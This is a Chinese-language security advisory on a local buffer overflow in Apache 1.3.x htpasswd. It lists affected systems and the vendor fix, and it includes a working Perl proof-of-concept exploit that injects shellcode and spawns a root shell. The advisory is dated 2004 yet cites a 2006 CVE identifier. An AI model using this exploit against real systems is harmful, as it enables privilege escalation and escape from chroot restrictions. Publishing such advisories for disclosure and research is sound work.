Apache 1.3.31 htpasswd本地缓冲区溢出漏洞
发布日期:2004-09-16
更新日期:2004-11-01
受影响系统:Apache Apache 1.3.31
Apache Apache 1.3.29
Apache Apache 1.3.28
Apache Apache 1.3.27
Apache Apache 1.3.25
Apache Apache 1.3.24
Apache Apache 1.3.23
Apache Apache 1.3.22
Apache Apache 1.3.20
Apache Apache 1.3.26
- Conectiva Linux 8.0
- Conectiva Linux 7.0
- Conectiva Linux 6.0
- Debian Linux 3.0
- Mandrake Linux Corporate Server 2.1
- Mandrake Linux 9.0
- RedHat Linux 8.0
- RedHat Linux 7.3
不受影响系统:Apache Apache 1.3.33
描述:
CVE(CAN) ID:
CVE-2006-1078
Apache是一款流行的WEB服务程序。
Apache包含的htpasswd实现存在多个缓冲区溢出问题,本地攻击者可以利用这个漏洞绕过CHROOT限制。
由于apache/src/support/htpasswd.c 中的strcpy函数实现对用户和密码变量缺少正确的缓冲区边界检查,攻击者利用缓冲区溢出,可绕出Apache chroot环境限制,因为htpasswd一般使用自己的环境。
<*来源:Luiz Fernando (
luiz.fc@gmail.com)
链接:
http://archives.neohapsis.com/archives/fulldisclosure/2004-09/0547.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Luiz Fernando (
luiz.fc@gmail.com)提供了如下测试方法:
#!/usr/bin/perl
# Proof Of Concept exploit for htpasswd of Apache.
# Read the advisory for more information.
# - Luiz Fernando Camargo
# - foxtrotflowsecurity.org
$shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
$target = "/usr/local/apache/bin/htpasswd";
$retaddr = 0xbffffffa - length($shellcode) - length($target);
print "using retaddr = 0x", sprintf('%lx',($retaddr)), "\r\n";
local($ENV{'XXX'}) = $shellcode;
$newret = pack('l', $retaddr);
$buffer = "A" x 272;
$buffer .= $newret x 4;
$buffer .= " ";
$buffer .= "B" x 290;
exec("$target -nb $buffer");
建议:
厂商补丁:
Apache
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://httpd.apache.org/浏览次数:4962
严重程度:0(网友投票)